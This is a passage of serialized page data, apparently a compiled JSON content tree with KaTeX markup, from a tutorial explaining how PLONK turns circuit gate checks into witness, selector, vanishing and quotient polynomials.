7},{"className":140505,"style":140506},[2040],"height:0.3283em;",[140508],{"type":23,"tag":139,"props":140509,"children":140510},{"style":91484},[140511,140515],{"type":23,"tag":139,"props":140512,"children":140514},{"className":140513,"style":2050},[2049],[],{"type":23,"tag":139,"props":140516,"children":140518},{"className":140517},[2055,2056,2057,2058],[140519],{"type":23,"tag":139,"props":140520,"children":140522},{"className":140521,"style":92959},[2009,19596,2058],[140523],{"type":28,"value":92962},{"type":23,"tag":139,"props":140525,"children":140527},{"className":140526},[19753],[140528],{"type":28,"value":19756},{"type":23,"tag":139,"props":140530,"children":140532},{"className":140531},[2035],[140533],{"type":23,"tag":139,"props":140534,"children":140536},{"className":140535,"style":91034},[2040],[140537],{"type":23,"tag":139,"props":140538,"children":140539},{},[],{"type":23,"tag":139,"props":140541,"children":140543},{"className":140542,"style":2187},[2089],[],{"type":23,"tag":139,"props":140545,"children":140547},{"className":140546},[2192],[140548],{"type":28,"value":1067},{"type":23,"tag":139,"props":140550,"children":140552},{"className":140551,"style":2187},[2089],[],{"type":23,"tag":139,"props":140554,"children":140556},{"className":140555},[1998],[140557,140561],{"type":23,"tag":139,"props":140558,"children":140560},{"className":140559,"style":91982},[2003],[],{"type":23,"tag":139,"props":140562,"children":140564},{"className":140563},[2009],[140565],{"type":28,"value":647},{"type":28,"value":140567}," makes a row a multiplication gate, setting ",{"type":23,"tag":135,"props":140569,"children":140571},{"className":140570},[1981,1982],[140572],{"type":23,"tag":139,"props":140573,"children":140575},{"className":140574},[1987],[140576],{"type":23,"tag":139,"props":140577,"children":140579},{"className":140578,"ariaHidden":1993},[1992],[140580,140658],{"type":23,"tag":139,"props":140581,"children":140583},{"className":140582},[1998],[140584,140588,140645,140649,140654],{"type":23,"tag":139,"props":140585,"children":140587},{"className":140586,"style":107841},[2003],[],{"type":23,"tag":139,"props":140589,"children":140591},{"className":140590},[2009],[140592,140597],{"type":23,"tag":139,"props":140593,"children":140595},{"className":140594,"style":91437},[2009,19596],[140596],{"type":28,"value":91440},{"type":23,"tag":139,"props":140598,"children":140600},{"className":140599},[2025],[140601],{"type":23,"tag":139,"props":140602,"children":140604},{"className":140603},[2030,19650],[140605,140634],{"type":23,"tag":139,"props":140606,"children":140608},{"className":140607},[2035],[140609,140629],{"type":23,"tag":139,"props":140610,"children":140612},{"className":140611,"style":140506},[2040],[140613],{"type":23,"tag":139,"props":140614,"children":140615},{"style":91484},[140616,140620],{"type":23,"tag":139,"props":140617,"children":140619},{"className":140618,"style":2050},[2049],[],{"type":23,"tag":139,"props":140621,"children":140623},{"className":140622},[2055,2056,2057,2058],[140624],{"type":23,"tag":139,"props":140625,"children":140627},{"className":140626},[2009,19596,2058],[140628],{"type":28,"value":115915},{"type":23,"tag":139,"props":140630,"children":140632},{"className":140631},[19753],[140633],{"type":28,"value":19756},{"type":23,"tag":139,"props":140635,"children":140637},{"className":140636},[2035],[140638],{"type":23,"tag":139,"props":140639,"children":140641},{"className":140640,"style":91034},[2040],[140642],{"type":23,"tag":139,"props":140643,"children":140644},{},[],{"type":23,"tag":139,"props":140646,"children":140648},{"className":140647,"style":2187},[2089],[],{"type":23,"tag":139,"props":140650,"children":140652},{"className":140651},[2192],[140653],{"type":28,"value":1067},{"type":23,"tag":139,"props":140655,"children":140657},{"className":140656,"style":2187},[2089],[],{"type":23,"tag":139,"props":140659,"children":140661},{"className":140660},[1998],[140662,140666],{"type":23,"tag":139,"props":140663,"children":140665},{"className":140664,"style":91982},[2003],[],{"type":23,"tag":139,"props":140667,"children":140669},{"className":140668},[2009],[140670],{"type":28,"value":647},{"type":28,"value":140672}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":659,"props":140674,"children":140675},{},[140676],{"type":28,"value":140677},"permutation argument",{"type":28,"value":140679}," for that, which we will not cover here.",{"type":23,"tag":666,"props":140681,"children":140683},{"id":140682},"from-many-checks-to-one",[140684],{"type":28,"value":140685},"From many checks to one",{"type":23,"tag":24,"props":140687,"children":140688},{},[140689,140691,140696,140697,140789,140790,140882,140883,140975,140977,140982,140983,141075,141076,141168,141170,141195,141197,141222,141224,141316,141318,141343,141345,141370],{"type":28,"value":140690},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":659,"props":140692,"children":140693},{},[140694],{"type":28,"value":140695},"witness polynomials",{"type":28,"value":471},{"type":23,"tag":135,"props":140698,"children":140700},{"className":140699},[1981,1982],[140701],{"type":23,"tag":139,"props":140702,"children":140704},{"className":140703},[1987],[140705],{"type":23,"tag":139,"props":140706,"children":140708},{"className":140707,"ariaHidden":1993},[1992],[140709],{"type":23,"tag":139,"props":140710,"children":140712},{"className":140711},[1998],[140713,140717,140774,140779,140784],{"type":23,"tag":139,"props":140714,"children":140716},{"className":140715,"style":2110},[2003],[],{"type":23,"tag":139,"props":140718,"children":140720},{"className":140719},[2009],[140721,140726],{"type":23,"tag":139,"props":140722,"children":140724},{"className":140723,"style":93305},[2009,19596],[140725],{"type":28,"value":30973},{"type":23,"tag":139,"props":140727,"children":140729},{"className":140728},[2025],[140730],{"type":23,"tag":139,"props":140731,"children":140733},{"className":140732},[2030,19650],[140734,140763],{"type":23,"tag":139,"props":140735,"children":140737},{"className":140736},[2035],[140738,140758],{"type":23,"tag":139,"props":140739,"children":140741},{"className":140740,"style":140506},[2040],[140742],{"type":23,"tag":139,"props":140743,"children":140744},{"style":93326},[140745,140749],{"type":23,"tag":139,"props":140746,"children":140748},{"className":140747,"style":2050},[2049],[],{"type":23,"tag":139,"props":140750,"children":140752},{"className":140751},[2055,2056,2057,2058],[140753],{"type":23,"tag":139,"props":140754,"children":140756},{"className":140755},[2009,19596,2058],[140757],{"type":28,"value":115915},{"type":23,"tag":139,"props":140759,"children":140761},{"className":140760},[19753],[140762],{"type":28,"value":19756},{"type":23,"tag":139,"props":140764,"children":140766},{"className":140765},[2035],[140767],{"type":23,"tag":139,"props":140768,"children":140770},{"className":140769,"style":91034},[2040],[140771],{"type":23,"tag":139,"props":140772,"children":140773},{},[],{"type":23,"tag":139,"props":140775,"children":140777},{"className":140776},[19725],[140778],{"type":28,"value":262},{"type":23,"tag":139,"props":140780,"children":140782},{"className":140781},[2009,19596],[140783],{"type":28,"value":17284},{"type":23,"tag":139,"props":140785,"children":140787},{"className":140786},[19747],[140788],{"type":28,"value":1104},{"type":28,"value":1052},{"type":23,"tag":135,"props":140791,"children":140793},{"className":140792},[1981,1982],[140794],{"type":23,"tag":139,"props":140795,"children":140797},{"className":140796},[1987],[140798],{"type":23,"tag":139,"props":140799,"children":140801},{"className":140800,"ariaHidden":1993},[1992],[140802],{"type":23,"tag":139,"props":140803,"children":140805},{"className":140804},[1998],[140806,140810,140867,140872,140877],{"type":23,"tag":139,"props":140807,"children":140809},{"className":140808,"style":2110},[2003],[],{"type":23,"tag":139,"props":140811,"children":140813},{"className":140812},[2009],[140814,140819],{"type":23,"tag":139,"props":140815,"children":140817},{"className":140816,"style":93305},[2009,19596],[140818],{"type":28,"value":30973},{"type":23,"tag":139,"props":140820,"children":140822},{"className":140821},[2025],[140823],{"type":23,"tag":139,"props":140824,"children":140826},{"className":140825},[2030,19650],[140827,140856],{"type":23,"tag":139,"props":140828,"children":140830},{"className":140829},[2035],[140831,140851],{"type":23,"tag":139,"props":140832,"children":140834},{"className":140833,"style":140506},[2040],[140835],{"type":23,"tag":139,"props":140836,"children":140837},{"style":93326},[140838,140842],{"type":23,"tag":139,"props":140839,"children":140841},{"className":140840,"style":2050},[2049],[],{"type":23,"tag":139,"props":140843,"children":140845},{"className":140844},[2055,2056,2057,2058],[140846],{"type":23,"tag":139,"props":140847,"children":140849},{"className":140848,"style":120728},[2009,19596,2058],[140850],{"type":28,"value":120731},{"type":23,"tag":139,"props":140852,"children":140854},{"className":140853},[19753],[140855],{"type":28,"value":19756},{"type":23,"tag":139,"props":140857,"children":140859},{"className":140858},[2035],[140860],{"type":23,"tag":139,"props":140861,"children":140863},{"className":140862,"style":91034},[2040],[140864],{"type":23,"tag":139,"props":140865,"children":140866},{},[],{"type":23,"tag":139,"props":140868,"children":140870},{"className":140869},[19725],[140871],{"type":28,"value":262},{"type":23,"tag":139,"props":140873,"children":140875},{"className":140874},[2009,19596],[140876],{"type":28,"value":17284},{"type":23,"tag":139,"props":140878,"children":140880},{"className":140879},[19747],[140881],{"type":28,"value":1104},{"type":28,"value":1052},{"type":23,"tag":135,"props":140884,"children":140886},{"className":140885},[1981,1982],[140887],{"type":23,"tag":139,"props":140888,"children":140890},{"className":140889},[1987],[140891],{"type":23,"tag":139,"props":140892,"children":140894},{"className":140893,"ariaHidden":1993},[1992],[140895],{"type":23,"tag":139,"props":140896,"children":140898},{"className":140897},[1998],[140899,140903,140960,140965,140970],{"type":23,"tag":139,"props":140900,"children":140902},{"className":140901,"style":2110},[2003],[],{"type":23,"tag":139,"props":140904,"children":140906},{"className":140905},[2009],[140907,140912],{"type":23,"tag":139,"props":140908,"children":140910},{"className":140909,"style":93305},[2009,19596],[140911],{"type":28,"value":30973},{"type":23,"tag":139,"props":140913,"children":140915},{"className":140914},[2025],[140916],{"type":23,"tag":139,"props":140917,"children":140919},{"className":140918},[2030,19650],[140920,140949],{"type":23,"tag":139,"props":140921,"children":140923},{"className":140922},[2035],[140924,140944],{"type":23,"tag":139,"props":140925,"children":140927},{"className":140926,"style":140506},[2040],[140928],{"type":23,"tag":139,"props":140929,"children":140930},{"style":93326},[140931,140935],{"type":23,"tag":139,"props":140932,"children":140934},{"className":140933,"style":2050},[2049],[],{"type":23,"tag":139,"props":140936,"children":140938},{"className":140937},[2055,2056,2057,2058],[140939],{"type":23,"tag":139,"props":140940,"children":140942},{"className":140941,"style":90951},[2009,19596,2058],[140943],{"type":28,"value":113270},{"type":23,"tag":139,"props":140945,"children":140947},{"className":140946},[19753],[140948],{"type":28,"value":19756},{"type":23,"tag":139,"props":140950,"children":140952},{"className":140951},[2035],[140953],{"type":23,"tag":139,"props":140954,"children":140956},{"className":140955,"style":91034},[2040],[140957],{"type":23,"tag":139,"props":140958,"children":140959},{},[],{"type":23,"tag":139,"props":140961,"children":140963},{"className":140962},[19725],[140964],{"type":28,"value":262},{"type":23,"tag":139,"props":140966,"children":140968},{"className":140967},[2009,19596],[140969],{"type":28,"value":17284},{"type":23,"tag":139,"props":140971,"children":140973},{"className":140972},[19747],[140974],{"type":28,"value":1104},{"type":28,"value":140976}," and the selectors become ",{"type":23,"tag":659,"props":140978,"children":140979},{},[140980],{"type":28,"value":140981},"selector polynomials",{"type":28,"value":471},{"type":23,"tag":135,"props":140984,"children":140986},{"className":140985},[1981,1982],[140987],{"type":23,"tag":139,"props":140988,"children":140990},{"className":140989},[1987],[140991],{"type":23,"tag":139,"props":140992,"children":140994},{"className":140993,"ariaHidden":1993},[1992],[140995],{"type":23,"tag":139,"props":140996,"children":140998},{"className":140997},[1998],[140999,141003,141060,141065,141070],{"type":23,"tag":139,"props":141000,"children":141002},{"className":141001,"style":2110},[2003],[],{"type":23,"tag":139,"props":141004,"children":141006},{"className":141005},[2009],[141007,141012],{"type":23,"tag":139,"props":141008,"children":141010},{"className":141009},[2009,19596],[141011],{"type":28,"value":74706},{"type":23,"tag":139,"props":141013,"children":141015},{"className":141014},[2025],[141016],{"type":23,"tag":139,"props":141017,"children":141019},{"className":141018},[2030,19650],[141020,141049],{"type":23,"tag":139,"props":141021,"children":141023},{"className":141022},[2035],[141024,141044],{"type":23,"tag":139,"props":141025,"children":141027},{"className":141026,"style":140506},[2040],[141028],{"type":23,"tag":139,"props":141029,"children":141030},{"style":91007},[141031,141035],{"type":23,"tag":139,"props":141032,"children":141034},{"className":141033,"style":2050},[2049],[],{"type":23,"tag":139,"props":141036,"children":141038},{"className":141037},[2055,2056,2057,2058],[141039],{"type":23,"tag":139,"props":141040,"children":141042},{"className":141041,"style":92959},[2009,19596,2058],[141043],{"type":28,"value":92962},{"type":23,"tag":139,"props":141045,"children":141047},{"className":141046},[19753],[141048],{"type":28,"value":19756},{"type":23,"tag":139,"props":141050,"children":141052},{"className":141051},[2035],[141053],{"type":23,"tag":139,"props":141054,"children":141056},{"className":141055,"style":91034},[2040],[141057],{"type":23,"tag":139,"props":141058,"children":141059},{},[],{"type":23,"tag":139,"props":141061,"children":141063},{"className":141062},[19725],[141064],{"type":28,"value":262},{"type":23,"tag":139,"props":141066,"children":141068},{"className":141067},[2009,19596],[141069],{"type":28,"value":17284},{"type":23,"tag":139,"props":141071,"children":141073},{"className":141072},[19747],[141074],{"type":28,"value":1104},{"type":28,"value":1052},{"type":23,"tag":135,"props":141077,"children":141079},{"className":141078},[1981,1982],[141080],{"type":23,"tag":139,"props":141081,"children":141083},{"className":141082},[1987],[141084],{"type":23,"tag":139,"props":141085,"children":141087},{"className":141086,"ariaHidden":1993},[1992],[141088],{"type":23,"tag":139,"props":141089,"children":141091},{"className":141090},[1998],[141092,141096,141153,141158,141163],{"type":23,"tag":139,"props":141093,"children":141095},{"className":141094,"style":2110},[2003],[],{"type":23,"tag":139,"props":141097,"children":141099},{"className":141098},[2009],[141100,141105],{"type":23,"tag":139,"props":141101,"children":141103},{"className":141102},[2009,19596],[141104],{"type":28,"value":74706},{"type":23,"tag":139,"props":141106,"children":141108},{"className":141107},[2025],[141109],{"type":23,"tag":139,"props":141110,"children":141112},{"className":141111},[2030,19650],[141113,141142],{"type":23,"tag":139,"props":141114,"children":141116},{"className":141115},[2035],[141117,141137],{"type":23,"tag":139,"props":141118,"children":141120},{"className":141119,"style":140506},[2040],[141121],{"type":23,"tag":139,"props":141122,"children":141123},{"style":91007},[141124,141128],{"type":23,"tag":139,"props":141125,"children":141127},{"className":141126,"style":2050},[2049],[],{"type":23,"tag":139,"props":141129,"children":141131},{"className":141130},[2055,2056,2057,2058],[141132],{"type":23,"tag":139,"props":141133,"children":141135},{"className":141134},[2009,19596,2058],[141136],{"type":28,"value":115915},{"type":23,"tag":139,"props":141138,"children":141140},{"className":141139},[19753],[141141],{"type":28,"value":19756},{"type":23,"tag":139,"props":141143,"children":141145},{"className":141144},[2035],[141146],{"type":23,"tag":139,"props":141147,"children":141149},{"className":141148,"style":91034},[2040],[141150],{"type":23,"tag":139,"props":141151,"children":141152},{},[],{"type":23,"tag":139,"props":141154,"children":141156},{"className":141155},[19725],[141157],{"type":28,"value":262},{"type":23,"tag":139,"props":141159,"children":141161},{"className":141160},[2009,19596],[141162],{"type":28,"value":17284},{"type":23,"tag":139,"props":141164,"children":141166},{"className":141165},[19747],[141167],{"type":28,"value":1104},{"type":28,"value":141169},", etc., all interpolated over a domain ",{"type":23,"tag":135,"props":141171,"children":141173},{"className":141172},[1981,1982],[141174],{"type":23,"tag":139,"props":141175,"children":141177},{"className":141176},[1987],[141178],{"type":23,"tag":139,"props":141179,"children":141181},{"className":141180,"ariaHidden":1993},[1992],[141182],{"type":23,"tag":139,"props":141183,"children":141185},{"className":141184},[1998],[141186,141190],{"type":23,"tag":139,"props":141187,"children":141189},{"className":141188,"style":19591},[2003],[],{"type":23,"tag":139,"props":141191,"children":141193},{"className":141192,"style":91185},[2009,19596],[141194],{"type":28,"value":91188},{"type":28,"value":141196}," of ",{"type":23,"tag":135,"props":141198,"children":141200},{"className":141199},[1981,1982],[141201],{"type":23,"tag":139,"props":141202,"children":141204},{"className":141203},[1987],[141205],{"type":23,"tag":139,"props":141206,"children":141208},{"className":141207,"ariaHidden":1993},[1992],[141209],{"type":23,"tag":139,"props":141210,"children":141212},{"className":141211},[1998],[141213,141217],{"type":23,"tag":139,"props":141214,"children":141216},{"className":141215,"style":108792},[2003],[],{"type":23,"tag":139,"props":141218,"children":141220},{"className":141219},[2009,19596],[141221],{"type":28,"value":54302},{"type":28,"value":141223},"-th roots of unity. Evaluating ",{"type":23,"tag":135,"props":141225,"children":141227},{"className":141226},[1981,1982],[141228],{"type":23,"tag":139,"props":141229,"children":141231},{"className":141230},[1987],[141232],{"type":23,"tag":139,"props":141233,"children":141235},{"className":141234,"ariaHidden":1993},[1992],[141236],{"type":23,"tag":139,"props":141237,"children":141239},{"className":141238},[1998],[141240,141244,141301,141306,141311],{"type":23,"tag":139,"props":141241,"children":141243},{"className":141242,"style":2110},[2003],[],{"type":23,"tag":139,"props":141245,"children":141247},{"className":141246},[2009],[141248,141253],{"type":23,"tag":139,"props":141249,"children":141251},{"className":141250,"style":93305},[2009,19596],[141252],{"type":28,"value":30973},{"type":23,"tag":139,"props":141254,"children":141256},{"className":141255},[2025],[141257],{"type":23,"tag":139,"props":141258,"children":141260},{"className":141259},[2030,19650],[141261,141290],{"type":23,"tag":139,"props":141262,"children":141264},{"className":141263},[2035],[141265,141285],{"type":23,"tag":139,"props":141266,"children":141268},{"className":141267,"style":140506},[2040],[141269],{"type":23,"tag":139,"props":141270,"children":141271},{"style":93326},[141272,141276],{"type":23,"tag":139,"props":141273,"children":141275},{"className":141274,"style":2050},[2049],[],{"type":23,"tag":139,"props":141277,"children":141279},{"className":141278},[2055,2056,2057,2058],[141280],{"type":23,"tag":139,"props":141281,"children":141283},{"className":141282},[2009,19596,2058],[141284],{"type":28,"value":115915},{"type":23,"tag":139,"props":141286,"children":141288},{"className":141287},[19753],[141289],{"type":28,"value":19756},{"type":23,"tag":139,"props":141291,"children":141293},{"className":141292},[2035],[141294],{"type":23,"tag":139,"props":141295,"children":141297},{"className":141296,"style":91034},[2040],[141298],{"type":23,"tag":139,"props":141299,"children":141300},{},[],{"type":23,"tag":139,"props":141302,"children":141304},{"className":141303},[19725],[141305],{"type":28,"value":262},{"type":23,"tag":139,"props":141307,"children":141309},{"className":141308},[2009,19596],[141310],{"type":28,"value":17284},{"type":23,"tag":139,"props":141312,"children":141314},{"className":141313},[19747],[141315],{"type":28,"value":1104},{"type":28,"value":141317}," at the ",{"type":23,"tag":135,"props":141319,"children":141321},{"className":141320},[1981,1982],[141322],{"type":23,"tag":139,"props":141323,"children":141325},{"className":141324},[1987],[141326],{"type":23,"tag":139,"props":141327,"children":141329},{"className":141328,"ariaHidden":1993},[1992],[141330],{"type":23,"tag":139,"props":141331,"children":141333},{"className":141332},[1998],[141334,141338],{"type":23,"tag":139,"props":141335,"children":141337},{"className":141336,"style":140202},[2003],[],{"type":23,"tag":139,"props":141339,"children":141341},{"className":141340},[2009,19596],[141342],{"type":28,"value":1728},{"type":28,"value":141344},"-th root recovers the left wire value at row ",{"type":23,"tag":135,"props":141346,"children":141348},{"className":141347},[1981,1982],[141349],{"type":23,"tag":139,"props":141350,"children":141352},{"className":141351},[1987],[141353],{"type":23,"tag":139,"props":141354,"children":141356},{"className":141355,"ariaHidden":1993},[1992],[141357],{"type":23,"tag":139,"props":141358,"children":141360},{"className":141359},[1998],[141361,141365],{"type":23,"tag":139,"props":141362,"children":141364},{"className":141363,"style":140202},[2003],[],{"type":23,"tag":139,"props":141366,"children":141368},{"className":141367},[2009,19596],[141369],{"type":28,"value":1728},{"type":28,"value":73},{"type":23,"tag":141372,"props":141373,"children":141374},"polynomial-interpolation-panel",{},[],{"type":23,"tag":24,"props":141376,"children":141377},{},[141378,141380,141420,141422,141488,141490,141620,141622,141662,141664,141704,141706,141746,141747,141869],{"type":28,"value":141379},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":135,"props":141381,"children":141383},{"className":141382},[1981,1982],[141384],{"type":23,"tag":139,"props":141385,"children":141387},{"className":141386},[1987],[141388],{"type":23,"tag":139,"props":141389,"children":141391},{"className":141390,"ariaHidden":1993},[1992],[141392],{"type":23,"tag":139,"props":141393,"children":141395},{"className":141394},[1998],[141396,141400,141405,141410,141415],{"type":23,"tag":139,"props":141397,"children":141399},{"className":141398,"style":2110},[2003],[],{"type":23,"tag":139,"props":141401,"children":141403},{"className":141402,"style":19597},[2009,19596],[141404],{"type":28,"value":119729},{"type":23,"tag":139,"props":141406,"children":141408},{"className":141407},[19725],[141409],{"type":28,"value":262},{"type":23,"tag":139,"props":141411,"children":141413},{"className":141412},[2009,19596],[141414],{"type":28,"value":17284},{"type":23,"tag":139,"props":141416,"children":141418},{"className":141417},[19747],[141419],{"type":28,"value":1104},{"type":28,"value":141421}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":135,"props":141423,"children":141425},{"className":141424},[1981,1982],[141426],{"type":23,"tag":139,"props":141427,"children":141429},{"className":141428},[1987],[141430],{"type":23,"tag":139,"props":141431,"children":141433},{"className":141432,"ariaHidden":1993},[1992],[141434,141475],{"type":23,"tag":139,"props":141435,"children":141437},{"className":141436},[1998],[141438,141442,141447,141452,141457,141462,141466,141471],{"type":23,"tag":139,"props":141439,"children":141441},{"className":141440,"style":2110},[2003],[],{"type":23,"tag":139,"props":141443,"children":141445},{"className":141444,"style":19597},[2009,19596],[141446],{"type":28,"value":119729},{"type":23,"tag":139,"props":141448,"children":141450},{"className":141449},[19725],[141451],{"type":28,"value":262},{"type":23,"tag":139,"props":141453,"children":141455},{"className":141454},[2009,19596],[141456],{"type":28,"value":17284},{"type":23,"tag":139,"props":141458,"children":141460},{"className":141459},[19747],[141461],{"type":28,"value":1104},{"type":23,"tag":139,"props":141463,"children":141465},{"className":141464,"style":2187},[2089],[],{"type":23,"tag":139,"props":141467,"children":141469},{"className":141468},[2192],[141470],{"type":28,"value":1067},{"type":23,"tag":139,"props":141472,"children":141474},{"className":141473,"style":2187},[2089],[],{"type":23,"tag":139,"props":141476,"children":141478},{"className":141477},[1998],[141479,141483],{"type":23,"tag":139,"props":141480,"children":141482},{"className":141481,"style":91982},[2003],[],{"type":23,"tag":139,"props":141484,"children":141486},{"className":141485},[2009],[141487],{"type":28,"value":2021},{"type":28,"value":141489}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":135,"props":141491,"children":141493},{"className":141492},[1981,1982],[141494],{"type":23,"tag":139,"props":141495,"children":141497},{"className":141496},[1987],[141498],{"type":23,"tag":139,"props":141499,"children":141501},{"className":141500,"ariaHidden":1993},[1992],[141502,141544,141607],{"type":23,"tag":139,"props":141503,"children":141505},{"className":141504},[1998],[141506,141510,141516,141521,141526,141531,141535,141540],{"type":23,"tag":139,"props":141507,"children":141509},{"className":141508,"style":2110},[2003],[],{"type":23,"tag":139,"props":141511,"children":141513},{"className":141512,"style":20128},[2009,19596],[141514],{"type":28,"value":141515},"Z",{"type":23,"tag":139,"props":141517,"children":141519},{"className":141518},[19725],[141520],{"type":28,"value":262},{"type":23,"tag":139,"props":141522,"children":141524},{"className":141523},[2009,19596],[141525],{"type":28,"value":17284},{"type":23,"tag":139,"props":141527,"children":141529},{"className":141528},[19747],[141530],{"type":28,"value":1104},{"type":23,"tag":139,"props":141532,"children":141534},{"className":141533,"style":2187},[2089],[],{"type":23,"tag":139,"props":141536,"children":141538},{"className":141537},[2192],[141539],{"type":28,"value":1067},{"type":23,"tag":139,"props":141541,"children":141543},{"className":141542,"style":2187},[2089],[],{"type":23,"tag":139,"props":141545,"children":141547},{"className":141546},[1998],[141548,141553,141594,141598,141603],{"type":23,"tag":139,"props":141549,"children":141552},{"className":141550,"style":141551},[2003],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":139,"props":141554,"children":141556},{"className":141555},[2009],[141557,141562],{"type":23,"tag":139,"props":141558,"children":141560},{"className":141559},[2009,19596],[141561],{"type":28,"value":17284},{"type":23,"tag":139,"props":141563,"children":141565},{"className":141564},[2025],[141566],{"type":23,"tag":139,"props":141567,"children":141569},{"className":141568},[2030],[141570],{"type":23,"tag":139,"props":141571,"children":141573},{"className":141572},[2035],[141574],{"type":23,"tag":139,"props":141575,"children":141577},{"className":141576,"style":106668},[2040],[141578],{"type":23,"tag":139,"props":141579,"children":141580},{"style":2044},[141581,141585],{"type":23,"tag":139,"props":141582,"children":141584},{"className":141583,"style":2050},[2049],[],{"type":23,"tag":139,"props":141586,"children":141588},{"className":141587},[2055,2056,2057,2058],[141589],{"type":23,"tag":139,"props":141590,"children":141592},{"className":141591},[2009,19596,2058],[141593],{"type":28,"value":54302},{"type":23,"tag":139,"props":141595,"children":141597},{"className":141596,"style":2090},[2089],[],{"type":23,"tag":139,"props":141599,"children":141601},{"className":141600},[2095],[141602],{"type":28,"value":2069},{"type":23,"tag":139,"props":141604,"children":141606},{"className":141605,"style":2090},[2089],[],{"type":23,"tag":139,"props":141608,"children":141610},{"className":141609},[1998],[141611,141615],{"type":23,"tag":139,"props":141612,"children":141614},{"className":141613,"style":91982},[2003],[],{"type":23,"tag":139,"props":141616,"children":141618},{"className":141617},[2009],[141619],{"type":28,"value":647},{"type":28,"value":141621}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":135,"props":141623,"children":141625},{"className":141624},[1981,1982],[141626],{"type":23,"tag":139,"props":141627,"children":141629},{"className":141628},[1987],[141630],{"type":23,"tag":139,"props":141631,"children":141633},{"className":141632,"ariaHidden":1993},[1992],[141634],{"type":23,"tag":139,"props":141635,"children":141637},{"className":141636},[1998],[141638,141642,141647,141652,141657],{"type":23,"tag":139,"props":141639,"children":141641},{"className":141640,"style":2110},[2003],[],{"type":23,"tag":139,"props":141643,"children":141645},{"className":141644,"style":20128},[2009,19596],[141646],{"type":28,"value":141515},{"type":23,"tag":139,"props":141648,"children":141650},{"className":141649},[19725],[141651],{"type":28,"value":262},{"type":23,"tag":139,"props":141653,"children":141655},{"className":141654},[2009,19596],[141656],{"type":28,"value":17284},{"type":23,"tag":139,"props":141658,"children":141660},{"className":141659},[19747],[141661],{"type":28,"value":1104},{"type":28,"value":141663}," divides ",{"type":23,"tag":135,"props":141665,"children":141667},{"className":141666},[1981,1982],[141668],{"type":23,"tag":139,"props":141669,"children":141671},{"className":141670},[1987],[141672],{"type":23,"tag":139,"props":141673,"children":141675},{"className":141674,"ariaHidden":1993},[1992],[141676],{"type":23,"tag":139,"props":141677,"children":141679},{"className":141678},[1998],[141680,141684,141689,141694,141699],{"type":23,"tag":139,"props":141681,"children":141683},{"className":141682,"style":2110},[2003],[],{"type":23,"tag":139,"props":141685,"children":141687},{"className":141686,"style":19597},[2009,19596],[141688],{"type":28,"value":119729},{"type":23,"tag":139,"props":141690,"children":141692},{"className":141691},[19725],[141693],{"type":28,"value":262},{"type":23,"tag":139,"props":141695,"children":141697},{"className":141696},[2009,19596],[141698],{"type":28,"value":17284},{"type":23,"tag":139,"props":141700,"children":141702},{"className":141701},[19747],[141703],{"type":28,"value":1104},{"type":28,"value":141705},", yielding a quotient polynomial ",{"type":23,"tag":135,"props":141707,"children":141709},{"className":141708},[1981,1982],[141710],{"type":23,"tag":139,"props":141711,"children":141713},{"className":141712},[1987],[141714],{"type":23,"tag":139,"props":141715,"children":141717},{"className":141716,"ariaHidden":1993},[1992],[141718],{"type":23,"tag":139,"props":141719,"children":141721},{"className":141720},[1998],[141722,141726,141731,141736,141741],{"type":23,"tag":139,"props":141723,"children":141725},{"className":141724,"style":2110},[2003],[],{"type":23,"tag":139,"props":141727,"children":141729},{"className":141728,"style":19597},[2009,19596],[141730],{"type":28,"value":3990},{"type":23,"tag":139,"props":141732,"children":141734},{"className":141733},[19725],[141735],{"type":28,"value":262},{"type":23,"tag":139,"props":141737,"children":141739},{"className":141738},[2009,19596],[141740],{"type":28,"value":17284},{"type":23,"tag":139,"props":141742,"children":141744},{"className":141743},[19747],[141745],{"type":28,"value":1104},{"type":28,"value":19512},{"type":23,"tag":135,"props":141748,"children":141750},{"className":141749},[1981,1982],[141751],{"type":23,"tag":139,"props":141752,"children":141754},{"className":141753},[1987],[141755],{"type":23,"tag":139,"props":141756,"children":141758},{"className":141757,"ariaHidden":1993},[1992],[141759,141800,141841],{"type":23,"tag":139,"props":141760,"children":141762},{"className":141761},[1998],[141763,141767,141772,141777,141782,141787,141791,141796],{"type":23,"tag":139,"props":141764,"children":141766},{"className":141765,"style":2110},[2003],[],{"type":23,"tag":139,"props":141768,"children":141770},{"className":141769,"style":19597},[2009,19596],[141771],{"type":28,"value":119729},{"type":23,"tag":139,"props":141773,"children":141775},{"className":141774},[19725],[141776],{"type":28,"value":262},{"type":23,"tag":139,"props":141778,"children":141780},{"className":141779},[2009,19596],[141781],{"type":28,"value":17284},{"type":23,"tag":139,"props":141783,"children":141785},{"className":141784},[19747],[141786],{"type":28,"value":1104},{"type":23,"tag":139,"props":141788,"children":141790},{"className":141789,"style":2187},[2089],[],{"type":23,"tag":139,"props":141792,"children":141794},{"className":141793},[2192],[141795],{"type":28,"value":1067},{"type":23,"tag":139,"props":141797,"children":141799},{"className":141798,"style":2187},[2089],[],{"type":23,"tag":139,"props":141801,"children":141803},{"className":141802},[1998],[141804,141808,141813,141818,141823,141828,141832,141837],{"type":23,"tag":139,"props":141805,"children":141807},{"className":141806,"style":2110},[2003],[],{"type":23,"tag":139,"props":141809,"children":141811},{"className":141810,"style":19597},[2009,19596],[141812],{"type":28,"value":3990},{"type":23,"tag":139,"props":141814,"children":141816},{"className":141815},[19725],[141817],{"type":28,"value":262},{"type":23,"tag":139,"props":141819,"children":141821},{"className":141820},[2009,19596],[141822],{"type":28,"value":17284},{"type":23,"tag":139,"props":141824,"children":141826},{"className":141825},[19747],[141827],{"type":28,"value":1104},{"type":23,"tag":139,"props":141829,"children":141831},{"className":141830,"style":2090},[2089],[],{"type":23,"tag":139,"props":141833,"children":141835},{"className":141834},[2095],[141836],{"type":28,"value":109213},{"type":23,"tag":139,"props":141838,"children":141840},{"className":141839,"style":2090},[2089],[],{"type":23,"tag":139,"props":141842,"children":141844},{"className":141843},[1998],[141845,141849,141854,141859,141864],{"type":23,"tag":139,"props":141846,